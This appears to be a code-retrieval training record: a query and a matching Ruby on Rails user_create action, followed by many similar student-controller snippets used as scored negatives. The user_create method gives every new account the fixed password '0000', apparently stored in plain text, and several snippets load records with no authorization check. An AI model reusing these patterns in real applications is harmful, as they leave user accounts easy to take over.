[ "def show\n \n @student= Student.find(params[:id])\n \n \n end", "def show\n @student = set_student\n end", "def show\n @student = Student.find(params[:id])\n end", "def show\n @student = Student.find(params[:id])\n end", "def show\n @student = Student.find(params[:id])\n end", "def show\n @student = Student.find(params[:id])\n end", "def show\n @student = Student.find(params[:id])\n end", "def show\n\n @student = Student.find(params[:id])#search_stdId(params[:Id])\n\n end", "def show\n @student = Student.find_by_id(params[:id])\n end", "def show\n authorize Student\n if(current_user.user?)\n @stud = Student.find_by_email(current_user.email)\n @stud2 = Student.find(params[:id])\n if(@stud.id!=@stud2[:id])\n flash[:alert] = \"You are not authorized to perform this action.\"\n redirect_to(request.referrer || root_path)\n end\n end\n end", "def show\n if current_user.role.name == \"instructor\"\n redirect_to show_for_instructor_students_url(@student)\n return\n end\n @records = StudentsRecord.where(student: @student).order(:status, started_on: :desc)\n if params[:brief]\n render template: 'students/brief.html.erb',\n layout: false\n return\n end\n end", "def show\n @student = find_student # Load the student mentioned by id in the route\n end", "def show\n @student = @cv.student\n end", "def show\n set_grade_list\n set_sex_list\n @student = Student.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @student }\n end\n end", "def show\r\n\r\n\r\n @student_id = session[:student_id]\r\n @student_first_name = session[:first_name]\r\n @student_last_name = session[:last_name]\r\n @student_email = session[:email]\r\n\r\n\r\n @student_id = session[:student_id]\r\n @return_student_id = session[:student_id]\r\n @show_student_id = session[:student_id]\r\n @current_staff = Certifier.where(:IsAvailable => true)\r\n @all_staff = Certifier.all\r\n end", "def show\n \n @Students = @event.students\n \n\n \n end", "def show\n @courses = @student.courses\n @groups = @student.groups\n end", "def index\n #@students = Student.all.page params[:page]\n if current_student.admin?\n @students = Student.page params[:page]\n else\n @student = current_student\n end\n end", "def show\n @admin_students = @admin_classroom.students\n @admin_courses = @admin_classroom.courses\n end", "def index\n @studentinfos = Studentinfo.all\n end", "def set_admin_student\n @student = Student.find(params[:id])\n end", "def edit\n @student = find_student\n end", "def show\n if @current_user\n @students = Student.where.not(id: Relation.select(:student_id).where(subject_id: @subject.id))\n @inscrits = Student.where(id: Relation.select(:student_id).where(subject_id: @subject.id))\n else\n redirect_to request.referrer || root_path\n end\n end", "def show\n authorize! :read, @student_book\n @student = @student_book.student\n end", "def show_all_students\n Student.all\n end", "def show\n @course = Course.find(params[:id])\n @current_user = User.find_by_id(session[:user_id])\n session[:course_id] = @course.id\n if @course.students.count.zero?\n redirect_to new_student_path, notice: \"Add Students!\"\n else\n @pass_d_point = @course.pass_d_points.build\n @designated_point = DesignatedPoint.find_by_id(session[:d_id])\n @students = @course.students.paginate page: params[:page], order: 'lname asc', per_page: 25\n\n if @course.user_id == @current_user.id\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @students }\n end\n else\n redirect_to login_url, notice: \"Not Authorized\"\n end\n end\n end", "def get_student\n @student = Student.find(params[:student_id])\n end", "def show\n @student = Student.find(params[:id])\n\n render :show\nend", "def show\n authorize @institute\n @admins = User.where(role:3,institute_id: @institute.id)\n @students = User.where(role:1,institute_id: @institute.id)\n end", "def students\n if current_user.is_admin?\n @students= User.find(:all, :conditions => \"is_teacher = '0' and is_admin = '0'\")\n respond_to do |format|\n format.xml { render :xml => @students }\n end\n else\n respond_to do |format|\n format.xml { render :text => \"error\" }\n end\n end\n end", "def index\n @admin_student_majors = Admin::StudentMajor.all\n end", "def show\n if @student.current_level.present?\n @student_level = Level.find(@student.current_level)\n end\n\n # Find if client has multiple students\n @last_student = ClientStudent.where(student_id: @student.id).last\n @multiple_students = ClientStudent.where(client_id: @last_student.client_id).all\n\n if @multiple_students.count > 1\n @multiple = true\n end\n @get_students = @multiple_students.pluck(:student_id)\n @students = Student.where(id: @get_students).all\n\n if params.has_key?(:show_multiple)\n if current_user.client == true\n @posts = Post.where(student_id: @get_students).where(note: [false, nil]).order(\"created_at DESC\").all\n else\n @posts = Post.where(student_id: @get_students).order(\"created_at DESC\").all\n end\n else\n if current_user.client == true\n @posts = Post.where(student_id: @student.id).where(note: [false, nil]).order(\"created_at DESC\").all\n else\n @posts = Post.where(student_id: @student.id).order(\"created_at DESC\").all\n end\n end\n ####\n\n @student_skills = StudentSkill.where(student_id: @student.id).all\n @clients = ClientStudent.where(student_id: @student.id).all\n\n end", "def list\n @students= Student.all\n end", "def show\n if current_user && !current_user.student?\n @user = User.find_by_id(params[:id])\n end\n end", "def show\n @student = Student.find(params[:id])\n\n if (@student.family_id && @student.family_id > 0)\n @family = Family.find(@student.family_id)\n end\n\n @resound_process = ResoundProcess.find_by_student_id(@student.id)\n\n @instruments = Instrument.all\n @instrument_names = Instrument.all.collect { |instrument| [instrument.name, instrument.id] }\n\n @student_instrument = StudentInstrument.new\n @student_availability = StudentAvailability.new\n @preferred_teacher = PreferredTeacher.new\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student }\n end\n end", "def show\n \n\n begin\n @students = Student.find(params[:id]) \n \n \t# check that the issuer of the request has both the username and ID, prevent attack\n \tif params[:login].gsub(/ /,'') != @students.login.gsub(/ /,'')\n \t\tlog_attack \"Student show \" + params[:id] + \" : \" + params[:login] + \" - students.login = \" + @students.login \t\n \t\trespond_to do |format|\n \t\tformat.xml { render :xml => errorRsp( \"Security error, contact support\" ) }\n \t\t end\n \t\treturn\n \tend \n rescue Exception => e \n respond_to do |format|\n format.xml { render :xml => errorRsp( e.message) }\n end\n return\n end\n \n respond_to do |format|\n format.xml { render :xml => @students }\n end\n end", "def index\n unless current_user.instructor\n render :nothing => true, :status => :unauthorized\n end\n\n @students = $selected_course.students.collect{|student| {name: student.first + ' ' + student.last, student_id: student.id }}\n end", "def show_students\n print_header\n print_student_list\n print_footer\nend", "def show_students\n print_header\n print_student_list\n print_footer\nend", "def index\n @admin_students = Admin::Student.all\n if @admin_classroom.present?\n @admin_students = @admin_classroom.students\n end\n \n end", "def show\n\tif session[:user].nil?\n\t\tredirect_to('/login/login')\n\tend\n @student = Student.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @student }\n end\n end", "def show\n @student = Student.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n \n \n format.json { render json: @student }\n end\n end", "def show\n @student = Student.find(params[:student_id])\n @inschool = @student.inschools.find(params[:id])\n render :layout => \"print\"\n \n # respond_to do |format|\n # format.html # show.html.erb\n # format.json { render json: @inschool }\n # end\n end", "def index\n @student = Student.all\n end", "def show\n add_breadcrumb @student.login, student_path(@student.login)\n @student_data = gon.jbuilder template: 'app/views/students/show.json.jbuilder', as: 'student_data' if request.format.symbol != :json\n end", "def show_students\n print_header\n print_students_list\n print_footer\nend", "def show\n @enrolled_student = EnrolledStudent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @enrolled_student }\n end\n end", "def show\n @student = User.find params[:id]\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @student }\n end\n end", "def show\n @student = Student.new \n end", "def find_student\n @student = Student.find(params[:id])\n end", "def show_students\n print_header\n print_students_list\n print_footer\nend", "def show_students\n print_header\n print_students_list\n print_footer\nend", "def show_students\n print_header\n print_students_list\n print_footer\nend", "def find_student\n Student.find(params[:id])\n end", "def show\n \n if current_user.teacher.nil?\n @students = []\n @groups = []\n else\n @student = current_user.teacher.students.find(params[:id])\n @groups = current_user.teacher.groups\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student }\n end\n end", "def show\n @students = StudentInfo.where(referenced_class_id: params[:id]).all\n #puts YAML::dump(@students)\n end", "def show\n student = Student.find(params[:id])\n\n render json: {status: 'SUCCESS', message:\"Student listed with name #{student.name}\", data:student}, status: :ok\n end", "def show\n @student = @topic.student\n end", "def show\n @student_user = StudentUser.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student_user }\n end\n end", "def show\n if current_user.role == 'parent'\n @students = current_user.students\n elsif current_user.role == 'teacher'\n @students = current_user.student_class.students.all\n end\n true\n #@messaging_centres = MessagingCentre.all\n end", "def show\n # @student = Student.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student }\n end\n end", "def index\n if current_user.admin? or current_user.editor? #checks if user is admin, if so displays all of the students in database.\n @students = Student.all\n if params[:search]\n @students = Student.search(params[:search]).order(\"created_at DESC\")\n else\n @students = Student.all.order('created_at DESC')\n end\n elsif user_signed_in?\n @students = Student.all.where(:user_id => current_user.id) #Only displays the the users student. \n end\n\n\n authorize @students\n end", "def show\n @indexstudent = Indexstudent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @indexstudent }\n end\n end", "def show\n @report=Student.where(:student_id=>params[:id])\n if @report.blank?\n flash[:warning]=\"Student with id #{params[:id]} not found\"\n redirect_to '/managers/options'\n end\n end", "def show\n @student = Student.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @student }\n end\n end", "def show\n @student = Student.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @student }\n end\n end", "def student_index\n end", "def edit\n\t\t@student = Student.find(params[:id])\n\tend", "def index\n @students = Student.all\n end", "def index\n @students = Student.all\n end", "def index\n @students = Student.all\n end", "def index\n @students = Student.all\n end", "def index\n @students = Student.all\n end", "def index\n @students = Student.all\n end", "def index\n @students = Student.all\n end", "def index\n @students = Student.all\n end", "def index\n @students = Student.all\n end", "def index\n @students = Student.all\n end", "def index\n @students = Student.all\n end", "def index\n @students = Student.all\n end", "def index\n @students = Student.all\n end", "def index\n @students = Student.all\n end", "def index\n @students = Student.all\n end", "def index\n @students = Student.all\n end", "def index\n @students = Student.all\n end", "def index\n @students = Student.all\n end", "def index\n @students = Student.all\n end", "def index\n @students = Student.all\n end", "def index\n @students = Student.all\n end", "def show\n @student = Student.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student }\n end\n end", "def show\n @student = Student.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student }\n end\n end", "def show\n @student = Student.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student }\n end\n end", "def show\n @student = Student.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student }\n end\n end", "def show\n @student = Student.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student }\n end\n end", "def show\n @student = Student.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student }\n end\n end", "def show\n @student = Student.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student }\n end\n end", "def show\n @student = Student.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student }\n end\n end", "def show\n @student = Student.find(params[:id])\n @dojo = Dojo.find(params[:dojo_id])\n @all_students = Dojo.find(params[:dojo_id]).students.where.not(id:@student.id)\n end", "def student_displayer\n print_header\n print_students_list\n print_footer\nend", "def show\n @student = Student.find(params[:id])\n @updates = @student.updates\n \n @owner = (current_user.id == @student.id)\n if @owner\n @current_tab = User::TABS[\"PUBLIC\"]\n end\n \n if current_user.is_company_entity?\n @company_file = CompanyFile.find_or_initialize_by_student_id_and_company_id(params[:id], current_user.company_id)\n \n chs = CompanyHighlighting.find_all_by_company_id_and_student_id(current_user.company_id, params[:id])\n @company_highlightings = chs.map{|ch| [ch.reference_type, ch.reference_id]}\n end\n \n @followed = !!Following.find_by_follower_id_and_followed_id( current_user.id, @student.id)\n \n respond_to do |type|\n type.html { render 'show' }\n type.json {render :json => @student}\n end\n \n \n end", "def show\n @teacher = Teacher.find(params[:id])\n @students = @teacher.students.order('full_name ASC')\n @students_at_school = Student.where(school_id: @teacher.school_id).order('full_name ASC')\n @students_not_in_roster = Student.where(school_id: @teacher.school_id).where.not(id: @teacher.students).order('full_name ASC')\n\n #Whenever this page is visited, it updates the roster for the admin.\n if @teacher.admin\n\n #https://stackoverflow.com/questions/3343861/how-do-i-check-to-see-if-my-array-includes-an-object\n @students_at_school.each do |student|\n unless @students.include?(student)\n @teacher.students << Student.find(student.id)\n end\n end\n \n @students = @students_at_school\n @students_not_in_roster = []\n else\n # add student case\n if params[:add_student] && (params[:add_student_id] != nil)\n @teacher.students << Student.find(params[:add_student_id])\n redirect_to @teacher\n # remove student case\n elsif params[:remove_student] && (params[:remove_student_id] != nil)\n @teacher.students.delete(Student.find(params[:remove_student_id]))\n redirect_to @teacher\n end\n end\n end" ]
[ "0.7845689", "0.7670518", "0.7561679", "0.7561679", "0.7561679", "0.7561679", "0.7561679", "0.7555189", "0.75509953", "0.7446141", "0.7432485", "0.74153227", "0.7347893", "0.734584", "0.7314786", "0.7312629", "0.72835207", "0.7276926", "0.72599614", "0.7254376", "0.72220767", "0.72183853", "0.7212837", "0.7205822", "0.7189272", "0.7188958", "0.7175761", "0.71499234", "0.7144115", "0.71304226", "0.71271896", "0.71252936", "0.71175456", "0.71097904", "0.7100105", "0.70962816", "0.70646185", "0.70602834", "0.70602834", "0.70533574", "0.70505595", "0.7049197", "0.70474917", "0.7032103", "0.702717", "0.7014077", "0.70116454", "0.6985289", "0.69808733", "0.697376", "0.697139", "0.697139", "0.697139", "0.69686276", "0.6961937", "0.6961341", "0.6956419", "0.69543254", "0.6952329", "0.69235164", "0.6920063", "0.69197917", "0.69168735", "0.69124746", "0.6892988", "0.6892988", "0.68867475", "0.68788815", "0.6873684", "0.6873684", "0.6873684", "0.6873684", "0.6873684", "0.6873684", "0.6873684", "0.6873684", "0.6873684", "0.6873684", "0.6873684", "0.6873684", "0.6873684", "0.6873684", "0.6873684", "0.6873684", "0.6873684", "0.6873684", "0.6873684", "0.6873684", "0.6873684", "0.6868575", "0.6868575", "0.6868575", "0.6868575", "0.6868575", "0.6868575", "0.6868575", "0.6868575", "0.6868569", "0.68639344", "0.68628436", "0.68421245" ]
0.0
-1
def user_create if params[:uin]=="" or params[:first_name]=="" or params[:last_name]=="" or params[:review_year]=="" or params[:email]=="" or params[:password]=="" or params[:c_password]=="" flash[:notice] = "No field can be empty" render '/searches/add_user' and return end if params[:password]!=params[:c_password] flash[:notice] = "Password and Confirm password Should Match" render '/searches/add_user' and return end temp2=Review.rev_func(params[:uin]) if temp2!=[] flash[:notice] = "User Already Exists" render '/searches/new' and return end params[:uin]=params[:uin].delete(' ') params[:first_name]=params[:first_name].delete(' ') params[:first_name]=params[:first_name].upcase params[:last_name]=params[:last_name].delete(' ') params[:email]=params[:email].delete(' ') params[:password]=params[:password].delete(' ') params[:c_password]=params[:c_password].delete(' ') params[:last_name]=params[:last_name].upcase temp=params[:advisor].match(/(\w+) (\w+)/) params[:advisor]=User.where(:first_name => temp[1] , :last_name => temp[2]).pluck(:uin) params[:advisor]=params[:advisor][0] Auth.create(:username => params[:uin],:role => params[:role],:password => params[:password],:email => params[:email]) User.create(:uin => params[:uin],:first_name => params[:first_name],:last_name => params[:last_name],:review_year => params[:review_year],:advisor => params[:advisor]) Review.create(:user_id => params[:uin],:year => params[:review_year]) flash[:notice] = "User Created Successfully" render '/searches/new' end
def user_create if(session[:user]==nil) redirect_to "/login" and return end if params[:uin]=="" or params[:first_name]=="" or params[:last_name]=="" or params[:review_year]=="" or params[:email]=="" flash[:notice] = "No field can be empty" redirect_to '/add_user' and return end temp2=Review.rev_func(params[:uin]) if temp2!=[] flash[:notice] = "User Already Exists" render '/searches/new' and return end params[:uin]=params[:uin].delete(' ') params[:first_name]=params[:first_name].delete(' ') params[:first_name]=params[:first_name].upcase params[:last_name]=params[:last_name].delete(' ') params[:email]=params[:email].delete(' ') params[:password]='0000' params[:c_password]='0000' params[:last_name]=params[:last_name].upcase temp=params[:advisor].match(/(\w+) (\w+)/) params[:advisor]=User.where(:first_name => temp[1] , :last_name => temp[2]).pluck(:uin) params[:advisor]=params[:advisor][0] Auth.create(:username => params[:uin],:role => params[:role],:password => params[:password],:email => params[:email]) User.create(:uin => params[:uin],:first_name => params[:first_name],:last_name => params[:last_name],:review_year => params[:review_year],:advisor => params[:advisor]) Review.create(:user_id => params[:uin],:year => params[:review_year]) flash[:notice] = "User Created Successfully" render '/searches/new' end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n if false\n render :text => params\n else\n\n @user = User.new(user_params)\n @user.create_user_id = session[:user_id]\n if params[\"user\"][:password] == params[\"user\"][:re_password]\n\n if @user.save\n #流水號\n insert_id_seq params[\"user\"][\"username\"]\n\n @user.state = 'Y'\n @user.password = Digest::SHA256.hexdigest @user.password\n\n uu = @user\n\n UserMailer.new_user(uu).deliver\n\n @user.save\n flash[:notice] = \"會員-新增成功!\"\n redirect_to :action=> :index\n\n else\n\n vip_access\n\n @user_bs = UserBelong.where(:belong_user_id => @user.id )\n @normal_users = User.where.not(:name =>session[:user_name])\n\n @roles = Role.live\n @trades = Trade.sorted\n @sotre_area = StoreArea.all\n render action: 'new'\n\n end\n else\n\n flash[:notice] = \"密碼與確認密碼必需一致\"\n flash[:pas] = \"密碼與確認密碼必需一致\"\n vip_access\n\n @user_bs = UserBelong.where(:belong_user_id => @user.id )\n @normal_users = User.where.not(:name =>session[:user_name])\n\n @roles = Role.live\n @trades = Trade.sorted\n @sotre_area = StoreArea.all\n\n render action: 'new'\n\n end\n\n end\n\n\n end", "def create\n username = params[:user][:name]\n @userer = User.find_by_user_loginname(username)\n if @userer.class == NilClass\n @user = User.new(user_params)\n \n respond_to do |format|\n if @user.save\n format.html { redirect_to @user, notice: 'User was successfully created.' }\n format.json { render :show, status: :created, location: @user }\n session[:user_new_warning]=\"\"\n else\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n else\n session[:user_new_warning]=\"There is a user has a same username with you,please change your username!\"\n redirect_to :action => \"new\"\n @notice = \"There is a user has a same username with you,please change your username!\"\n end\n \n end", "def checkadduser\n \tfirstname = params[:firstname]\n lastname = params[:lastname]\n email = params[:email]\n password = params[:password]\n re_email = params[:retyped_email]\n if firstname.length == 0 or lastname.length == 0 or email.length == 0 or password.length == 0 or re_email.length == 0 \n \t@msg = \"Required fields cannot be empty\"\n \trender :adduser\n \treturn\n end\n if password.length < 8 or password.length > 10 \n\n @msg = \"Password length has to be min 8 chars max 10 chars\"\n render :adduser\n return\n end\n if re_email != email \n\n @msg = \"Both emails has to match\"\n render :adduser\n return\n end\n user_db = User.find_by(email: email)\n\n unless user_db.nil? \n\n @msg = \"Failed to add user email already exists\"\n render :adduser\n else \n User.create(firstname: firstname,lastname: lastname,email: email,password: password)\n\n @msg = \"Successfully added the user. Please login.\"\n render :adduser\n end\n end", "def create\n\n @user = User.new(params[:user])\n if @user.original_password == '' or @user.first_name == '' or @user.last_name == '' or @user.username == '' or @user.email == ''\n if @user.first_name == ''\n @user.errors.add :first_name,' not found'\n end\n if @user.last_name == ''\n @user.errors.add :last_name,' not found'\n end\n if @user.username == ''\n @user.errors.add :username,' not found'\n end\n if @user.email == ''\n @user.errors.add :email,' not found'\n end\n if @user.original_password == ''\n @user.errors.add :original_password,' not found'\n end\n respond_to do |format|\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n else\n @user.admin=false\n respond_to do |format|\n if @user.save\n if session[:user_id].nil?\n session[:user_id] = @user\n session[:isadmin] = false\n flash[:alert] = \"You have successfully logged in\"\n #redirect_to :controller => \"posts\", :action => \"index\"\n end\n format.html { redirect_to @user, notice: 'User was successfully created.' }\n format.json { render json: @user, status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "def register\n\n if !User.find_by_name(params[:user_name]).nil?\n flash[:alert]= \"User Name already taken, please choose another one\"\n render 'index'\n else\n\n user = User.new\n\n if params[:user_name].strip.empty? || params[:password].strip.empty?\n # If user name and password, render index (ask user again)\n render 'index'\n else\n #its checks if the USER NAME has a key or is empty, and if it has a key, it converts to a string and saves it in the database through params\n user_name = params[:user_name].strip\n user.name = user_name\n password = params[:password].strip\n user.password = password\n\n if params.has_key?(:full_name) && !params[:full_name].strip.empty?\n full_name = params[:full_name].strip\n user.full_name = full_name\n end\n\n if params.has_key?(:address) && !params[:address].strip.empty?\n address = params[:address].strip\n user.address = address\n end\n\n if params.has_key?(:city) && !params[:city].strip.empty?\n city = params[:city].strip\n user.city = city\n end\n\n if params.has_key?(:postal) && !params[:postal].strip.empty?\n postal = params[:postal].strip\n user.postal = postal\n end\n\n if params.has_key?(:country) && !params[:country].strip.empty?\n country = params[:country].strip\n user.country = country\n end\n\n #email is linked to the migrate file\n #if nothing is inputed in the text box, then email = \"null\" and inputed into the database as null\n if params.has_key?(:email) && !params[:email].strip.empty?\n email = params[:email].strip\n user.email = email\n end\n\n # Saves user information to table users\n user.save\n\n\n\n if params.has_key?(:phone1) && !params[:phone1].strip.empty?\n phone1 = Phone.new\n phone1.number = params[:phone1].strip\n\n #we are shoveling the phone1 object we made into the merged table\n user.phones << phone1\n\n #we have to save it individually to the number column\n phone1.save\n end\n\n if params.has_key?(:phone2) && !params[:phone2].strip.empty?\n phone2 = Phone.new\n phone2.number = params[:phone2].strip\n user.phones << phone2\n\n phone2.save\n end\n\n if params.has_key?(:phone3) && !params[:phone3].strip.empty?\n phone3 = Phone.new\n phone3.number = params[:phone3].strip\n user.phones << phone3\n\n phone3.save\n end\n\n #we store the user name into a session so we can access it in the info controller\n session[:user_name] = user.name\n\n redirect_to \"/info/display\"\n # text: \"User name is \" + user.name\n\n\n #session[:user_id] = user.id.to_s\n end\n\n end\n\n end", "def create\n\t\t#get the type of user being created based on what button was clicked\n\t\t@type = params[:user][:type]\n\n\t\tif(@type== \"Requester\")\n\t\t\tnew_user_params = params.require(:user).permit(:type, :sup_id, :firstName,:lastName, :loginID, :password, :email, :academicUnit, :studNumb, :program, :sessionNumber, :thesisTopic, :bankAccNumb)\n\t\telsif(@type ==\"Supervisor\")\n\t\t\tnew_user_params = params.require(:user).permit(:type, :firstName,:lastName, :loginID, :password, :email, :employeeNumb, :grantAccNumb)\n\t\tend\n\t\t#create a new user\n\t\t@user = User.new(new_user_params)\n\n\t\t if (@type==\"Requester\") && (@user.sup_id).present? && (@user.firstName).present? && (@user.lastName).present?&& (@user.loginID).present? && (@user.password).present?&& (@user.email).present? && (@user.academicUnit).present? && (@user.studNumb).present? && (@user.program).present? && (@user.sessionNumber).present? && (@user.thesisTopic).present? && (@user.bankAccNumb).present?\n\t\t\[email protected]\n\t\t\t#put message on screen.\n\t\t\tflash[:success] = \"Requester created successfully\"\n\t\t\tredirect_to \"/home\"\n\t\t elsif((@type==\"Supervisor\") && (@user.firstName).present? && (@user.lastName).present?)\n\t\t\[email protected]\n\t\t \tredirect_to \"/home\"\n\t\t \t#put message on screen\n\t\t \tflash[:success] = \"Supervisor successfully created\"\n\t\t else \t\n\t\t \t#put message on screen\n\t\t\tflash[:error] = \"User not created\"\n\t\t\trender(\"new\")\n\t\t end\n\n\tend", "def create\n @all = Users.find_users\n @approve = true\n @all.each do |a|\n if (a.username == params[ :username ]) \n @approve = false\n end\n end\n if(@approve == false)\n redirect_to :action => 'used'\n else\n @user=Users.create(params[ :email ],params[ :username ],params[ :password ],params[ :mobilenum ])\n end\n end", "def create\n\t\tuser = User.new\n\t\tuser.username = params[\"username\"]\n \tuser.first = params[\"first\"]\n \tuser.last = params[\"last\"]\n \tuser.sex = params[\"sex\"]\n \tuser.email = params[\"email\"]\n user.add_l1 = params[\"add_l1\"]\n \tuser.city = params[\"city\"]\n \tuser.state = params[\"state\"]\n \tuser.zip = params[\"zip\"]\n \tuser.password = params[\"password\"]\n user.password_confirmation = params[\"password_confirmation\"]\n \tuser.age = params[\"age\"]\n user.phone = params[\"phone\"]\n \tuser.high_score = 0\n \tuser.save\n\n\n if user.save\n session[:user_id] = user.id\n session[:username] = user.username\n @user = User.find_by :username => user.username\n UserMailer.welcome_email(@user).deliver\n redirect_to show_lobbys_url\n else\n if user.errors[:username]\n flash.now[:error] = \"Username is not unique or not provided - please try again.\" \n else \n flash.now[:error] = \"Profile not created successfully. Please try again.\"\n end\n\n @username = params[\"username\"]\n @first = params[\"first\"]\n @last = params[\"last\"]\n @sex = params[\"sex\"]\n @email = params[\"email\"]\n @add_l1 = params[\"add_l1\"]\n @city = params[\"city\"]\n @state = params[\"state\"]\n @zip = params[\"zip\"]\n @password = params[\"password\"]\n @password_confirmation = params[\"password_confirmation\"]\n @age = params[\"age\"]\n @phone = params[\"phone\"]\n\n render new_user_path\n end\n\tend", "def create\n # raise \"hell\"\n @user = User.create(user_params)\n @errors = []\n if @user.email.include? \".\"\n\n if @user.first_name.length > 1 && @user.last_name.length > 1\n #true - check for no special characters and no numbers\n special = \"?<>',?[]}{=-)(*&^%$#`~{}\"\n regex = /[#{special.gsub(/./){|char| \"\\\\#{char}\"}}]/\n if @user.first_name =~ regex || @user.last_name =~ regex\n # contains special char\n @errors << \"Your name cannot contain special characters\"\n session[:errors] = @errors\n redirect_to root_path\n else\n\n def has_digits?(str)\n str.count(\"0-9\") > 0\n end\n\n if has_digits?(@user.first_name)\n @errors << \"Your first name cannot contain numbers\"\n session[:errors] = @errors\n redirect_to root_path\n else\n if has_digits?(@user.last_name)\n @errors << \"Your last name cannot contain numbers\"\n session[:errors] = @errors\n redirect_to root_path\n else\n @user.save\n session[:user] = @user.id\n clear_session(:errors)\n if params[:commit] == 'Sign me up'\n redirect_to success_path\n elsif params[:commit] == 'Build your own newsletter'\n redirect_to build_path\n end\n end\n end\n\n\n end\n else\n @errors << \"Both first and last name must at least be 2 characters long\"\n session[:errors] = @errors\n redirect_to root_path\n end\n else\n @errors << \"An email must contain at least one full stop (.)\"\n session[:errors] = @errors\n redirect_to root_path\n\n end\n end", "def create\n if logged_in?\n respond_to do |format|\n format.html { redirect_to '/welcome' }\n format.json { head :no_content }\n end\n end\n ok = false\n result = \"\"\n @user_params = user_params\n Rails.logger.debug \"PARAMS : #{@user_params}\"\n @user = User.where({ email: @user_params[:email] }).last\n \n if @user.nil?\n result = \"created\"\n password = @user_params[:encrypted_password__c]\n Rails.logger.debug \"PASS : #{password}\"\n @user_params[:encrypted_password__c] = User.hash_password(password)\n @user_params[:extid__c] = @user_params[:encrypted_password__c]\n @user = User.new(user_params)\n ok = @user.save\n elsif @user.encrypted_password__c.nil?\n result = \"updated\"\n @user_params[:encrypted_password__c] = User.hash_password(@user_params[:encrypted_password__c])\n ok = @user.update(@user_params)\n else\n ok = false\n result = \"An account with this email exists.\"\n end\n\n respond_to do |format|\n if ok\n session[:user_id] = @user.id\n format.html { redirect_to '/welcome', notice: \"User was successfully #{result}\" }\n format.json { render :show, status: :created, location: @user }\n else\n flash[:notice] = result\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_user\n\t \to = [('a'..'z'), ('1'..'9')].map { |i| i.to_a }.flatten\n\t \tstring = (0...9).map { o[rand(o.length)] }.join\n\t \t@user = User.create( username: params[:user][:username],password: string ,rol: params[:user][:rol], name: params[:user][:name], carrier: params[:user][:carrier], email: params[:user][:email], landline: params[:user][:landline], cell_phone: params[:user][:cell_phone], container: params[:user][:cell_phone], liquid_charge: params[:user][:liquid_charge], dry_charge: params[:user][:dry_charge] )\n\t \trespond_to do |format|\n\t \t\tif @user.save\n\t \t\t\tflash[:notice] = 'Se ha creado un nuevo usuario'\n\t \t\t\tformat.html { redirect_to users_path }\n\t \t\t\tformat.js {}\n\t \t\t\tformat.json { render :show, status: :created, location: @user }\n\t \t\telse\n\t \t\t\twarden.custom_failure!\n\t \t\t\tformat.html { render :new }\n\t \t\t\tformat.json { render json: @user.errors, status: :unprocessable_entity }\n\t \t\tend\n\t \tend\n\t end", "def create\n @user = User.where('担当者コード = ? AND パスワード = ?',params[:user][:担当者コード].downcase,params[:user][:パスワード]).first\n\n respond_to do |format|\n if @user.nil?\n Rails.logger.info 'login unsuccess'\n flash.now[:notice] = \"社員番号とパスワードを正しく入力してください。\"\n # Create an error message and re-render the signin form.\n format.html {render action: 'login', notice: 'unsuccess'}\n else\n # Sign the user in and redirect to the user's show page.\n Rails.logger.info 'login success'\n # format.html { redirect_to main_shozais_url }\n format.html { redirect_to main_url }\n end\n end\n # @user = User.new(user_params)\n\n # respond_to do |format|\n # if @user.save\n # format.html { redirect_to @user, notice: 'User was successfully created.' }\n # format.json { render action: 'show', status: :created, location: @user }\n # else\n # format.html { render action: 'new' }\n # format.json { render json: @user.errors, status: :unprocessable_entity }\n # end\n # end\n end", "def create\n @user = User.new(user_params)\n @user.email.downcase!\n respond_to do |format|\n if @user.save\n format.html { redirect_to new_review_url, notice: 'User was successfully created.' }\n format.json { render \"roots/root\", status: :created, location: @user }\n log_in (@user)\n current_user\n else\n #format.html { render 'controller/name' }でもいける\n flash.now[:danger] = \"ユーザーを作成できませんでした。\"\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # Is email blank?\n if (params[:email].blank?) \n render :new\n flash[:notice] = \"You must enter an email address\"\n else\n \n if (params[:first_name].blank?) \n render :new\n flash[:notice] = \"What's your name pretty lady?\"\n else\n \n if (params[:password].blank?) \n render :new\n flash[:notice] = \"What's your password?\"\n else\n # If no, does user exist?\n \n if @user = User.find_by(email: params[:email])\n \n if @user.authenticate(params[:email], params[:password])\n # If authenticated, log in and redirect to /\n puts \"Redirecting to root url\"\n session[:user_id] = @user.id\n redirect_to user_orders_path(@user.id)\n else\n # If auth fails, render login page with error\n flash.now[:error] = \"This email is already in use.\"\n render :new\n end\n\n else\n # If no, create new user and redirect to account form\n \n @user=User.new\n 